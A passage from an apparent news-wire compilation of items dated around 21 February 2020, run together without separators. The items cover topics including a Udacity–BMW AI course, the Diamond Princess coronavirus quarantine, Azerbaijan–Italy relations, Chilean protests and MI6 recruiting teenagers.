mobile video. TikTok's global offices include Los Angeles, New York, London, Paris, Berlin, Dubai, Mumbai, Singapore, Jakarta, Seoul and Tokyo. VNS Tiktok bans political and advocacy advertising from its platform Political ads clash with its "positive, refreshing environment," says Blake Chandlee, Tiktok's vice president of global business solutions. MOUNTAIN VIEW, Calif. and MUNICH, Feb. 21, 2020 /PRNewswire/ -- Udacity , the digital learning and workforce skilling platform, today launches a new "AI for Business Leaders" Executive Program in close cooperation with the BMW Group. The program introduces the technical foundations and business applications of artificial intelligence (AI) to executives responsible for making strategic technology decisions within their companies. AI is transforming many aspects of the workplace. What is often missing, however, is the understanding within management of how best to apply these new technologies to fully exploit their potential. To help management teams overcome this obstacle, Udacity has worked closely with the BMW Group on the design and creation of the Executive Program. The BMW Group has been skilling its employees for over two years using Udacity's courses, with a particular focus on data analysis and machine learning. "Udacity is unique in its approach to creating technical education with global corporate partners. This partnership with BMW is the latest, and one of the most important, given the disruptive and innovative power of AI," says Gabe Dalporto, CEO of Udacity. "With the launch of this Executive Program, they are helping every business leader to harness new technologies in their quest for innovation." Sebastian Thrun, founder and Chairman of Udacity, announced the Executive Program "AI for Business Leaders" today during his visit to the BMW Group in Munich. This new Executive Program is divided into different phases in which participants learn to understand, apply, and evaluate AI and the data it leverages. For the capstone project, participants will then develop and implement an AI strategy for their own company or with a predefined business scenario for an automotive manufacturer, or a news and telecommunications conglomerate. The strategy needs to be technically achievable and highly impactful on the business, based on the evaluation of various AI-enabled use cases. The course will also cover emerging areas such as accuracy, bias, and ethics. "Creating an AI course for business leaders so they can speak the same language as their engineers is challenging, but working with a variety of companies to understand the practical, technical, and commercial hurdles was incredibly insightful. Now, these learnings are available to all leaders who want to understand more about how to leverage AI to advance their business," said Professor Erik Brynjolfsson, who worked with Udacity to develop this Executive Program. Professor Brynjolfsson is Director of MIT's Initiative on the Digital Economy, Schussel Family Professor at MIT, and co-author of The Second Machine Age. The distinguishing elements of Udacity's courses are the emphasis on real-world projects, commercial content and case studies, the thousands of industry experts who act as mentors to learners, and the ability to seamlessly integrate learning into working schedules while gaining a formal qualification. The AI for Leaders Executive Program will be available at the end of February. The course takes four to six weeks to complete and it is included in the subscriptions of Udacity enterprise customers. To learn more, please visit the AI for Business Leaders Executive Program at udacity.com. About Udacity Udacity is a global, online learning platform powering digital transformation and accelerated time-to-market initiatives for Fortune 500 and Global 2000 enterprises. Udacity programs provide university-quality practitioner skills through a series of online courses and real-world projects in artificial intelligence, machine learning, data science, autonomous systems, and cloud computing, among other disciplines. Udacity collaborates with expert instructors and over 200 global industry partners including AT&T, Google, Facebook, Mercedes-Benz and NVIDIA to power technical education. Headquartered in Mountain View, Calif., the private company has operations in the United Kingdom, China, Egypt, Germany, India and the United Arab Emirates. Udacity has raised $163 million in funding to date from investors including Bertelsmann, Andreessen Horowitz, Charles River Ventures, and Drive Capital. For more information, please visit www.udacity.com . Contact: [email protected] SOURCE Udacity Related Links http://www.udacity.com Share this article Whatsapp Facebook Twitter Linkedin Nina A. Loasana (The Jakarta Post) Jakarta Fri, February 21, 2020 With the rising popularity of ride-hailing apps, travelling anywhere in the capital city is as easy as tapping a finger on a mobile phone. The thriving ride-hailing app business raises questions about whether it will threaten the citys bus rapid transit (BRT) service, Transjakarta. Febe, a 24 year old office worker from West Jakarta said she chose to commute with a ride hailing app every day even though there was a Transjakarta bus stop near her office in central Jakarta. I use a ride-hailing app to commute to work because it is fast and convenient. Ive tried using Transjakarta buses to go to work before, but the journey took quite a long time, she told The Jakarta Post on Tuesday. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Simpson Thacher Bartlett LLP announced today that Yash Rupal will join the Firm as a Partner in its London office where he will be a part of its global Tax Practice. He currently heads the London Tax Group at Linklaters. Yash represents a broad range of U.K. and international corporate clients, financial institutions, investment funds, hedge funds, asset managers and their respective executives on complicated, often cross-border, mergers and acquisitions, investment fund planning and tax planning matters. He also advises extensively on tax disputes, tax litigation and HMRC enquiries. "We are delighted to welcome Yash to Simpson Thacher," said Bill Dougherty, Chairman of the Firm's Executive Committee. "With more than 30 years of experience advising many of the world's leading asset managers and financial institutions, Yash is widely regarded as one of the most preeminent tax practitioners in London. He will expand our tax capabilities for clients with interests in the U.K., continental Europe and beyond." Jason Glover, Managing Partner of Simpson Thacher's London office, said, "Yash is a very talented tax advisor and we are very excited that he will be leading our U.K. Tax Practice in London. Working in tandem with our U.S. Tax Practice, the U.K. tax team will be available to support our clients in providing commercial, value-added advice in respect of U.K. and EU tax issues at a time when tax authorities are applying greater scrutiny to the activities of both institutions and individuals." Simpson Thacher's London office is home to more than 100 attorneys who advise clients on a wide range of transactions and legal matters throughout Europe. The London office achieved revenues in excess of $200 million in 2019. The team of English and U.S.-trained lawyers has been representing clients on a broad array of corporate transactions and legal disputes for more than four decades. Simpson Thacher's Tax Practice is continuously called upon by multinational corporations, banks, investment funds and other sophisticated businesses for advice on their largest and most complex transactions. The team works closely with colleagues in the Firm's Mergers and Acquisitions, Private Equity, Capital Markets, Private Funds and Real Estate Practices, among others, to offer clients the full spectrum of deal and fund capabilities. ABOUT SIMPSON THACHER Simpson Thacher Bartlett LLP (www.simpsonthacher.com) is one of the world's leading international law firms. The Firm was established in 1884 and has more than 1,000 lawyers. Headquartered in New York with offices in Beijing, Hong Kong, Houston, London, Los Angeles, Palo Alto, Sao Paulo, Tokyo and Washington, D.C., the Firm provides coordinated legal advice and transactional capability to clients around the globe. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005059/en/ Contacts: Caroline Fatchett 212-455-3694 caroline.fatchett@stblaw.com TOKYO - Japans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticized quarantine of the vessel ended. The ship docked at a Yokohama port has the most COVID-19 cases outside of China, with 634 confirmed by late Thursday. Two former passengers have died. Health Minister Katsunobu Kato told a news conference the mass disembarkation into Japan of passengers from the ship is set to end Friday, while dozens of foreign passengers are flying back to their home countries on flights chartered by their governments. Most crew members and other passengers who have not completed their 14-day quarantines because they had more recent contact with infected people are staying on the ship for now, but they will be transported to a government facility to be quarantined in isolation. Japan is discussing with the ship operator and home countries of foreign crew members over their future movements, he said. Japans government has been questioned over its decision to keep people quarantined on the ship, given the tight quarters and the difficulty of isolating sick people from the healthy. Six government quarantine workers contracted the virus, raising questions about the protective measures used. The two fatalities, a man and woman who were both Japanese and in their 80s, were believed to have been infected before health checks and a Feb. 5 quarantine began on the ship, Health Ministry official Masami Sakoi said. It was not immediately known if they had any roommates on the ship. The new coronavirus that causes COVID-19 has sickened tens of thousands of people, mostly in central Chinas Hubei province. The U.S. and other countries have put former Diamond Princess passengers in second quarantines. Eleven Israelis returned home early Friday and were taken to the Sheba Hospital near Tel Aviv for quarantine and testing. Australia said two passengers tested positive after they returned home. Because of the incubation period of the virus, more cases may be expected, said Brendan Murphy, Australian Chief Medical Officer. We dont know that (more will test positive), but if they do, we are completely well set up to detect and manage them and isolate them, Murphy said. Kato said Australia, like the U.S., brought home a mixture of passengers who tested negative and others who were not tested and had an unknown status, therefore it was difficult to know when or how they had contracted the virus. Kato said passengers who returned home on the U.S. and Australian flights did so before completing the Japanese quarantine process, and that Japans ongoing disembarkation of passengers is still adequate. BAKU, Azerbaijan, Feb. 21 By Leman Zeynalova - Trend: The state visit by Azerbaijani President Ilham Aliyev to Italy is historic, Domenico Letizia, Italian economic and geopolitical analyst, who is cooperating with Imprese del Sud Think Tank, told Trend. This is the first state visit by Azerbaijani President Ilham Aliyev to Italy, with which excellent relations are maintained in the political, economic, cultural and scientific fields, Letizia noted. This successful visit is a significant step towards the development of relations between Azerbaijan and Italy. The Italian analyst noted in particular that the joint declaration signed between Azerbaijan and Italy during this visit is a new stage in bilateral relations. Letizia added that the meetings held by the Azerbaijani president with Italys senior officials, as well as with representatives of Italian companies representing various fields, are the basis for the development of commercial and business exchanges. The Azerbaijani-Italian business forum, which is being held as part of this historic visit, is also of particular importance in the development of relations, in particular in such areas as agriculture, production of industrial equipment, transport and infrastructure, ICT, energy and environmentally friendly technologies, said the analyst. Italy and Azerbaijan are important partners, Letizia added. Azerbaijan maintains strong commercial relations with Italy not only in the energy sector, but also in other sectors of the economy. Azerbaijan has taken a course to diversify its economy, and Italy in this aspect can play an important role, including in sectors such as agriculture, infrastructure and IT services. The capabilities of the Port of Baku and free trade zones are also important in the expansion of bilateral economic relations. However, the energy component is also a priority, given the active implementation of the Trans Adriatic Pipeline (TAP) project, the Italian analyst said. The implementation of the TAP project is of particular importance for Italy, since this project will allow the country to overcome energy problems and turn into European gas hub, Letizia noted. By the end of 2020, Azerbaijani gas will go to Italy and from there will be delivered to other European countries. This project will significantly change the energy map of Europe and will increase competition in the continents gas market. The analyst said that the state visit by President Ilham Aliyev to Italy is also timed to coincide with the opening of the Year of Azerbaijani Culture (2020) in Italy. As part of this event, shows, theater performances, concerts, exhibitions and meetings throughout Italy will be held within ten months, and this will allow Italians to get even closer acquainted with Azerbaijans traditions and culture, Letizia added. --- Follow the author on Twitter: @Lyaman_Zeyn The U.S. (Environmental Protection Agency) and the IEPA have explicitly stated they will not be doing testing of the ambient air, Linehan said, which is why three entities have worked together to do it. He added, however, that the IEPA will reimburse Gurnee for its cost in this test, which is $25,000. Russias ongoing militarization of the illegally annexed Crimea continues to negatively impact the security and environmental situation in the region. The Russian Federations ongoing militarization of the Crimean Peninsula continues to negatively impact the security situation in the Black Sea region and beyond. We continue to call on Russia to ensure unobstructed passage in the Sea of Azov and towards it in accordance with the international law, Silvio Gonzato, the Deputy Head of Delegation of the European Union to the United Nations, said at the UN General Assembly meeting on Thursday, an Ukrinform correspondent reports. He also called on the Kremlin to immediately release Ukrainian fishermen and return the boat detained in the Sea of Azov on February 15. In addition, Gonzato drew attention to the negative impact Russia has on the environmental situation in Crimea. "We expect Russia to take steps to improve the environmental situation in Crimea which has deteriorated significantly," the diplomat said. ol Greta Thunberg (Image: Reuters) Scientists have discovered a new species of land snail, and have named it Craspedotropis gretathunbergae in honour of the Swedish activist Greta Thunberg for her efforts to raise awareness about climate change. According to the study, published in the Biodiversity Data Journal, the newly discovered species belongs to the so-called caenogastropods -- a group of land snails known to be sensitive to drought, temperature extremes, and forest degradation. The scientists, including evolutionary ecologist Menno Schilthuizen from Naturalis Biodiversity Center in the Netherlands, said the snails were found very close to the research field station at Kuala Belalong Field Studies Centre in Brunei. They added that the snails were discovered at the foot of a steep hill-slope, next to a river bank, foraging at night on the green leaves of understorey plants. The effort aided by amateur scientist J.P. Lim, who found the first individual of the snail said, "Naming this snail after Greta Thunberg is our way of acknowledging that her generation will be responsible for fixing problems that they did not create." "And it's a promise that people from all generations will join her to help," Lim said. The researchers said they approached Thunberg who said that she would be "delighted" to have this species named after her. The study work including, fieldwork, morphological study, and classification of identified specimen was carried out in a field centre with basic equipment and no internet access, the scientists said. According to the study, the work was done by untrained citizen scientists' guided by experts, on a 10-day taxon expedition. "While we are aware that this way of working has its limitations in terms of the quality of the output (for example, we were unable to perform dissections or to do extensive literature searches), the benefits include rapid species discovery and on-site processing of materials," the researchers wrote in the study. The EFCC in Kano has arrested Mukhtar Ishaq, the state Commissioner for Special Duties for alleged N86 million fraud. The acting spokesperson of the anti-graft agency, Tony Orilade, said this in a statement on Friday. He said Mr Ishaq diverted funds from Kano Municipal Local Government while he was the chairman of the local government. READ ALSO: Mr Orilade added that Mr Ishaqs arrest followed a petition against him for allegedly diverting N76million meant for projects, development, and empowerment of the people. According to the petitioner, the suspect ordered the deduction of N30,000 from the account of each council member without justification. The commissioner is also alleged to have converted property of Kofar Nasarawa Primary School, Kano, into shops and sold same at the rate of N10million per shop and diverted the money to personal use, the EFCC said. The commission said Mr Ishaq would be charged to court as soon as investigations were completed. BAKU, Azerbaijan, Feb. 21 By Nargiz Ismayilova Trend: Training in the field of cybersecurity is an important task, Director of the Information and Communication Technologies Applying and Training Center of Azerbaijan Rauf Jabbarov said at a press conference in Baku on Feb.21, Trend reports. The director said that there are not enough specialists in this field in the country. Since 2019, the center has placed special focus on training. Training courses are held, and the participants who successfully completed them are provided with certificates of international companies, Jabbarov said. He added that as part of the forthcoming Cybersecurity Week, importance of obtaining these certificates will be noted. In addition, on the basis of the program created by us, work will be carried out to train specialists in the field of programming, as well as to increase the level of specialists, the director said. The second International Cybersecurity Week, organized by the countrys Ministry of Transport, Communications and High Technologies, will be held in Azerbaijan on March 2-6, 2020. The goal of the event is to increase the effectiveness of interaction in this area and the level of education. --- Follow the author on Twitter: @IsmailovaNargis Protest-hit Chile takes a tentative step back to normality on Sunday when Latin America's biggest music festival gets underway at Vina del Mar amid heightened security. Protests that flared up in October -- initially over a rise in metro fares -- abated during the summer holidays before breaking out anew in recent weeks, raising authorities' concerns over mass gatherings. Ricky Martin, Maroon 5 and Puerto Rican star Ozuna are the headline acts as the annual festival in the Pacific Coast resort city begins amid threats of protests. Calls to disrupt the festival have circulated on social networks, with protests to center on the Quinta Vergara amphitheater where the festival has been held for more than six decades. Organizers have installed metal detectors at entrances and brought festival opening times forward for the duration of the six-day festival. In another sign of official nervousness, the festival's traditional Hollywood-style red carpet opening, one of Chile's most watched televised events, has been canceled. - Ricky Martin's message - Ricky Martin, who supported the social protests, will open the festival on Sunday with a performance from his Movimento Tour. At the height of the protests, Martin addressed a message to Chile's President Sebastian Pinera on social media: "You have to know that the will of a people is respected, is obeyed, is fulfilled. Listen to your people." Outspoken Chilean star Mon Laferte's performance will be closely watched. She bared her breasts in a message of support for protesters at the Latin Grammy Awards in Las Vegas in November. Stand-up comedians have been warned to refrain from making jibes at the authorities during the festival, which runs through February 28. Since authorities announced a modest hike in metro fares in the capital Santiago on October 18, more than 30 people have died in protests. They quickly mushroomed into wider discontent over inequality and the rejection of conservative billionaire Pinera and his government. A nationwide referendum on changing the dictatorship-era constitution is set for April. PHILADELPHIA The American Red Cross is facing a national blood crisis its worst blood shortage in more than a decade. Dangerously low blood supply levels are posing a concerning risk to patient care and forcing doctors to make difficult decisions about who receives blood transfusions and who will need to wait until more products become [] Hyderabad: Dalit activists demanded that Chief Minister K. Chandrashekar Rao dismiss TRS leaders in Kothur village who alleg-edly led a mob that abused and attacked a dalit woman and her family. Several family members were injured. Dalit organisations went to the village on a fact-finding mission condemned the atrocities and requested officials to take precautionary measures in view of a grave threat to the family. At the heart of the matter is a land dispute; a few years back, the village panchayat office-bearers forcefully grabbed the familys land. Ramchandr-aiah owned nearly half an acre of ancestral land. He was convinced by local leaders to donate land for a temple in the name of village development. He agreed, and transferred the land to them. Later they encroached on more land, to which he objected. Ramchandraiah approa-ched village elders for justice, and their verdict came in his favour. The land was transferred back. Nursing a grudge, miscreants beat him black and blue, and while undergoing treatment he succumbed. He was survived by Jayamma and their three children: two girls aged 16 and 12, and a six-year-old boy. She did not lodge a police complaint fearing the same fate as her husband, and raised her children on her own doing manual labour, eventually marrying off her daughters. Seven years after his death, Jayamma needed money for marrying off her second daughter. She sold 136 yards of land in 2015. Recently the buyer started construction of a new house, Jayammas son-in-law K. Ashok told Deccan Chronicle. On February 18, some miscreants including local TRS leaders opposed the move and attacked the family and the buyer. A mob of about 100 attacked both families in which 10 were injured. During the melee some hurled caste abuse against Jayamma and her family. P. Shankar of the Dalit Bahujan Front, part of the fact-finding committee told Deccan Chronicle: It is a shame that the atrocity happened in the Chief Ministers constitu-ency. Atrocities against Dalits have become a common phenomenon. The fact-finding team demanded the suspension of local TRS leaders involved in the attack. Mulugu police have booked a case of SC/ST atrocity. We have arrested six involved in the attack, sub-inspector B.Sreeshylam said. Meghan Markle's best friend Jessica Mulroney has revealed how she wrongly believed her identical sons were fraternal twins for seven years. The Canadian fashion stylist, 40, from Toronto, took to Instagram and shared a snap of John and Brian, nine, with her 376k followers. She said she and her husband Ben were told their sons were fraternal and felt like 'awful parents' for not being able to tell them apart, before explaining: 'Turns out. They are identical.' The twins famously stole the show at Meghan, 38, and Prince Harry's, 35, wedding in 2018 when they acted as page boys for the Duchess of Sussex. Jessica Mulroney, 40, has revealed that she and husband Ben wrongly believed her sons were fraternal for seven years, before learning they were identical Jessica shared a snap of her twin sons online, as they posed in matching cartoon pyjama sets. Alongside the snap, she wrote: 'We were told they were fraternal for seven years and felt like awful parents not being able to tell them apart for the first two years.' The mother-of-three regularly shares snaps of her children online, with the twin boys often wearing matching or near-identical outfits. Born Jessica Brownstein, she married television host Ben, who is also the son of a former Canadian prime minister. The stylist is a close friend of Meghan Markle's, 38, with the two women meeting while the Duchess was working on Suits (pictured together in 2015) The stylist befriended Meghan while the American-born actor was living in Toronto where she was filming the television drama Suits. The two women reportedly bonded over a love of yoga and, before Prince Harry and Meghan made their relationship official, Jessica shared many photos of herself with the now-Duchess of Sussex on her Instagram. They remain close, with her twin sons carrying Meghan's breathtaking veil as she made her way into St George's Chapel, at Windsor, on 19 May 2018. The twins famously 'photobombed' the Duchess as they entered the chapel and became overly excited by the wedding's trumpet players. Jessica's sons John and Brian served as page boys at the royal wedding, with the pair granted the honour of carrying Meghan's veil in the service Jessica's daughter Ivy also served as a flower girl for the Duchess, alongside Princess Charlotte, 4. In an interview with thestar.com in 2014, Mrs Mulroney described how the boys were best friends. 'Ben was at the MMVAs (iHeartRadio Much Music Video Awards) and John did something really sweet,' she said. 'He hugged Brian from behind and said, 'Brian, you make me great'. ' The article described the children, who had two nannies, as 'incredibly well-behaved'. Police have provided security to the residence of Amulya Leona, who had raised 'Pakistan Zindabad' slogans, in Chikkamagaluru district after it was allegedly attacked by right wing workers, officials said on Friday. IMAGE: AIMIM chief Asaduddin Owaisi attempts to stop Amulya Leona who raised pro-Pakistan slogans during a protest against CAA, NRC and NPR in Bengaluru on Thursday. Photograph: Shailendra Bhojak/PTI Photo According to sources, a group of people had targeted her house at Gullagadde near Koppal on Thursday evening and window panes were damaged. Amulya's father Wazi subsequently lodged a complaint following which police personnel were deployed near the house for the family's security. Meanwhile, a video of a group of people, allegedly right wing activists, on Thursday evening, purportedly questioning Wazi about his daughter's conduct and making him raise 'Bharat Mata ki Jai' slogans has gone viral. Amulya Leona had raised 'Pakistan Zindabad' slogans thrice after the organisers of the event under the banner of 'Save Constitution' invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi, on Thursday. After being removed from the stage, she was arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. A purported Facebook post of Amulya on February 16 has surfaced in which she has said 'Zindabad' to several neighbouring countries, and adds that doing so does not make her belong to them. 'Hindustan Zindabad, Pakistan Zindabad, Bangladesh Zindabad, Sri Lanka Zindabad, Nepal Zindabad, Afghanistan Zindabad, China Zindabad, Nepal Zindabad...whichever country it may be, Zindabad to all countries,' said the post in Kannada. 'You teach children that country means soil, but as children we are telling you country means- people living there. 'People should get all basic amenities, they should get all basic rights, government of all countries should take care of its people in a good way. Zindabad to all those who are doing public service,' she says. Stating that by saying Zindabad to other countries, she will not belong to that country, Amulya's post says, 'as per law, I'm citizen of India, respecting my country and working for the people here is my duty. I will do it, let's see what RSS people do..I have said what I had to, Sanghis start commenting'. Amid speculation that the BJP might offer a Rajya Sabha seat from Maharashtra to Udayanraje Bhosale, who lost the Lok Sabha bypoll after switching over from the NCP, the saffron party's associate member and RS MP Sanjay Kakade on Friday said he was confident of another stint in the Upper House. Seven MPs from Maharashtra, including Kakade, are set to retire from RS on April 2 this year. Bhosale, who won the 2019 Lok Sabha polls from Satara, resigned from Parliament after he joined the BJP, but lost in the bypoll to an NCP candidate. Addressing a press conference here, Kakade said, "Looking at my contribution as an associate member to the party during the Assembly polls, I am sure I will once again be re-elected to the Rajya Sabha." Taking a swipe at Bhosale, Kakade said, "I feel the BJP will not be in a hurry to make him (Bhosale) Rajya Sabha MP. He has no contribution to the party except resigning (from the NCP), joining the BJP and losing the bypoll. He could not even get other (BJP) candidates elected from his district except his (cousin) brother (Shivendra Raje Bhosale)," Kakade added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Childcare centre activity is recovering after a year in which deals and valuations were constrained by fears of an emerging glut in some geographies and teething troubles for the tweaked federal fee subsidy scheme. Two of the major lenders that have indicated a greater willingness to lend to the sector. But while lenders are again willing to lend to the sector, tenants are becoming more selective amid reports of overzealous landlords demanding rent rises of 20 per cent or more. Broker Canaccord Genuity says an unexpected supply uptick in the December quarter meant that new supply growth abated only 1.6 per cent for the year, having tumbled 8.5 per cent in the nine months to September 2019. Long daycare centre (LDC) numbers grew by a net 320, or 4.2 per cent, with 376 centres opening and 56 closing. Edison, NJ -- (SBWIRE) -- 02/21/2020 -- A new market study is released on Global Personal Loans Market with data Tables for historical and forecast years represented with Chats & Graphs spread through 90 Pages with easy to understand detailed analysis. The study highlights detailed assessment of the Market and display market sizing trend by revenue & volume (if applicable), current growth factors, expert opinions, facts, and industry validated market development data. The research study provides estimates for Global Personal Loans Forecast till 2025*. Some are the players that are considered in the coverage of this study are LightStream, SoFi, Citizens Bank, Marcus, FreedomPlus, Payoff, OneMain Financial, Avant, Prosper, Lending Club, Best Egg, Earnest, Payoff & Earnin. Industries and markets are ever-evolving; navigate these changes with ongoing research conducted by HTF MI; Address the latest insights released on Global Personal Loans Market. Browse now for Full Report Index or a Sample Copy @: https://www.htfmarketreport.com/sample-report/1738552-global-personal-loans-market Relevant features of the study that are being offered with major highlights from the report : 1) Which companies are profiled in current version of the report? Can list of players be customize based on regional geographies we are targeting Considering heat map analysis and based on market buzz or voice the profiled list of companies in the the report are "LightStream, SoFi, Citizens Bank, Marcus, FreedomPlus, Payoff, OneMain Financial, Avant, Prosper, Lending Club, Best Egg, Earnest, Payoff & Earnin". Yes, further list of players can also be customized as per your requirement keeping in mind your areas of interest and adding local emerging players and leaders from targeted geography. ** List of companies covered may vary in the final report subject to Name Change / Merger & Acquisition Activity etc. based on the difficulty of survey since data availability needs to be confirmed by research team specially in case of privately held company. Up to 2 players can be added at no additional cost. 2) What all regional break-up covered? Is it possible to add specific country or region of interest ? Currently, research report gives special attention and focus on following regions: United States, Europe, China, Japan, Southeast Asia, India & Central & South America 3) Can Market be broken down by different set of application and types? Additional segmentation / Market breakdown is possible subject to data availability, feasibility and depending upon timeline and toughness of survey. However a detailed requirement needs to be prepared before making any final confirmation. ** An additional country of your interest can be included at no added cost feasibility test would be conducted by Analyst team of HTF based on the requirement shared and accordingly deliverable time will also be disclosed. Enquire for making customized Report @ https://www.htfmarketreport.com/enquiry-before-buy/1738552-global-personal-loans-market To comprehend Global Personal Loans market dynamics in the global market, the worldwide Personal Loans market is analyzed across major geographical regions. HTF Market Intelligence also provides customized specific regional and country-level reports, see below break-ups. - North America: United States, Canada, and Mexico. - South & Central America: Argentina, ,Chile, LATAM, and Brazil. - Middle East & Africa: Saudi Arabia, UAE, Israel, Turkey, Egypt and South Africa. - Europe: UK, France, Italy, Germany, Spain, BeNeLux, and Russia. - Asia-Pacific: India, China, Japan, South Korea, Indonesia, Thailand, Singapore, and Australia. 2-Page company profiles for 10+ leading players is included with 3 years financial history to illustrate the recent performance of the market. Latest and updated discussion for 2019 major macro and micro elements influencing market and impacting the sector are also provided with a thought-provoking qualitative remarks on future opportunities and likely threats. The study is a mix of both statistically relevant quantitative data from the industry, coupled with insightful qualitative comment and analysis from Industry experts and consultants. Global Personal Loans Product Types In-Depth: , Below 5000 USD, 5000-50000 USD & Above 50000 USD Global Personal Loans Major Applications/End users: Below 1 years, 1-3 years & Above years Market Sizing by Geographical Break-down: United States, Europe, China, Japan, Southeast Asia, India & Central & South America To ascertain a deeper view of Market Size, competitive landscape is provided i.e. Comparative Market Share Revenue Analysis (Million USD) by Players (2017-2018) & Segment Market Share (%) by Players (2017-2018) and further a qualitative analysis of all players is made to understand market concentration rate. Competitive Landscape & Analysis: Major players of Personal Loans Market are focusing highly on innovation in new technologies to improve production efficiency and re-arrange product lifecycle. Long-term growth opportunities for this sector are captured by ensuring ongoing process improvements of related players following NAICS standard by understanding their financial flexibility to invest in the optimal strategies. Company profile section of players such as LightStream, SoFi, Citizens Bank, Marcus, FreedomPlus, Payoff, OneMain Financial, Avant, Prosper, Lending Club, Best Egg, Earnest, Payoff & Earnin includes vital information like legal name, website, headquarter, its market position, distribution and marketing channels, historical background and top 4 closest competitors by Market capitalization / turnover along with sales contact information. Each company / manufacturers revenue figures, growth rate, net profit and gross profit margin is provided in easy to understand tabular format for past 3 years and a separate section on market entropy covering recent development activities like mergers &acquisition, new product/service launch, funding activity etc. Buy Full Copy Global Personal Loans Report 2018 @ https://www.htfmarketreport.com/buy-now?format=1&report=1738552 In this study, the years considered to estimate the market size of Global Personal Loans are as follows: History Year: 2014-2018, Base Year: 2019, Forecast Year 2019 to 2025 Key Stakeholders / Target Audience Covered: In order to better analyze value chain/ supply chain of the Industry, a lot of attention given to backward & forward Integration - Personal Loans Manufacturers - Personal Loans Distributors/Traders/Wholesalers - Personal Loans Sub-component Manufacturers - Industry Association - Downstream Vendors Actual Numbers & In-Depth Analysis of Personal Loans Market Size Estimation, Business opportunities, Available in Full Report. Thanks for reading this article, you can also get individual chapter wise section or region wise report version like North America, LATAM, West Europe, MENA Countries, Southeast Asia or Asia Pacific. RTHK: Two evacuated Australians test positive for virus Two Australians evacuated from the Diamond Princess cruise ship have tested positive for coronavirus, authorities said on Friday, raising questions about Japan's policy of allowing evacuees to return home after testing negative. "We have two people who are positive for the Covid-19 virus. Those two people have mild illness," said Dianne Stephens, acting chief health officer for the Northern Territories. Hundreds of people have been allowed to leave the ship after testing negative for the disease and many have returned to their home countries to face further quarantine. Some 164 Australians aboard the Diamond Princess were cleared for transfer from the ship to quarantine in Australia's remote north earlier this week. But hundreds of Japanese passengers were cleared and warned only to "stay at home unless absolutely necessary," and to "never use public" transport and use a mask if they do venture out. A total of six Australian evacuees have now been retested and the two -- described as "an older person" and "a younger person" -- tested positive. Australia's Chief Medical Officer Professor Brendan Murphy said the public should not be concerned. "I just want to reassure the community that whilst this is another two cases in Australia, it's a first for some time now. These were expected and we're well-placed to manage them," he said. Fifteen previous cases of coronavirus had been linked to the outbreak of the disease in China. Murphy also expressed confidence that Japan and South Korea -- where the number of infections nearly doubled on Thursday to 104 -- would be able to contain the disease. "Both Japan and South Korea have well-developed health systems. And I would certainly be confident that they will be onto identifying those cases and tracing contacts," he said. "But it is obviously a concern that any country where there is significant further transmission." (AFP) This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. LUDINGTON, MI The former finance director for the SS Badger Lake Michigan ferry has been charged in federal court with defrauding the ferry and financial institutions out of $550,000. Paul Patrick Piper, 57, was charged in U.S. District Court in Grand Rapids on Friday, Feb. 21, with bank fraud and federal income tax offenses, according to a press release from U.S. Attorneys Office for the Western District of Michigan. Piper served for many years as the financial controller for Lake Michigan Carferry, which operates the Badger ferry between Ludington and Manitowoc, Wisconsin, according to the press release. He faces up to 30 years in prison for bank fraud and up to three years for filing false tax returns. Its alleged that Piper wrote checks to himself and two of his companies, Piper Tax & Accounting and Piper Group, according to the press release. In doing so, he either forged company owners signatures or used signature stamps without the owners authorization, the press release states. Its further alleged that he hid the thefts by making false entries on the companys books, including recording them with insurance expense codes, the press release states. Finally, its alleged that he didnt record the money he stole on income tax returns, according to the press release. More on MLive: Great Lakes last coal-fired car ferry to get operations facelift How to spend a Michigans Best Day in Ludington Montana Free Press A proposal by U.S. Sen. Steve Daines to convey the National Bison Range to the Confederated Salish and Kootenai Tribes has generated a mixture of excitement, concern, and outright opposition in Montana. The provision, included in a broader bill settling the historic water rights claims of the CSKT , would restore the 18,800-acre range to federal trust ownership on behalf of the CSKT and transfer management of the range from the U.S. Fish and Wildlife Service to the tribes. According to CSKT tribal attorney Brian Upton, the return of the bison range to the tribes was first pitched by FWS several years ago following a number of unsuccessful attempts to re-establish a co-management agreement a history Upton described as difficult and a bit of a roller coaster. Thats certainly not anything we had asked for before the service raised it, Upton said of the conveyance. But its clearly an elegant solution to everything, and all it does is restore the bison range to its status before the federal government took it from the tribes. FWS had abandoned the idea in April 2017 at the behest of then-Interior Secretary Ryan Zinke, who cited his commitment to not transfer or sell federal land. But nearly two dozen tribal and conservation organizations have since rallied behind a push for bison range restoration legislation, arguing that such a move would correct a century-old injustice and enhance the cultural and ecological significance of the roughly 300 bison that roam the range. John Todd, deputy director of the Montana Wilderness Association, told Montana Free Press that his organizations support for Daines proposal is grounded in awareness that contemporary public access to public lands is a direct result of the forced removal of tribal peoples throughout the West. It corrects an injustice of the range being taken away from them a long time ago, Todd said, and it really gives the tribes the opportunity to incorporate the bison range into a really rich fabric of conservation that they have there on the reservation. B ritain's top spy Sir Alex Younger today told how teenagers are being recruited to MI6 as it battles to stay ahead in a new technology race. The Secret Intelligence Service has cut the minimum employment age from 21 to 18 as it seeks to attract the best talent from all social backgrounds across the UK. They could later switch to being intelligence officers combating threats from hostile states, terror groups and major crime gangs if they show the appropriate skills, values and attitude. School leavers, once they are 18, can apply for posts in areas such as tech, business support, trades, finance and human resources. They could also move from IT support jobs to spy tech posts as their career progresses. The services new recruitment ad In an unprecedented move, SIS invited 30 teenagers from inner London into its Vauxhall Cross HQ to explain what it does and break down false perceptions, such as it only recruits Oxbridge-educated graduates with a tap on the shoulder and intelligence officers have a licence to kill. With espionage having to rapidly adapt to the technological revolution, Sir Alex, who is known as C, told the 14 to 19-year-olds: Your generation is key. He added: We are in a time of dynamic change and the relationship particularly with technology is going to be the thing that gives us our edge in the future. Many of the teenagers only realised they were going to the MI6 event, organised with youth charity the BIGKID Foundation, when their minibuses pulled up at the security gates. One of the roles already being advertised for people as young as 18 is business support officer, with a salary of 29,832, which may involve providing admin support to a spying team, possibly accompanying it on 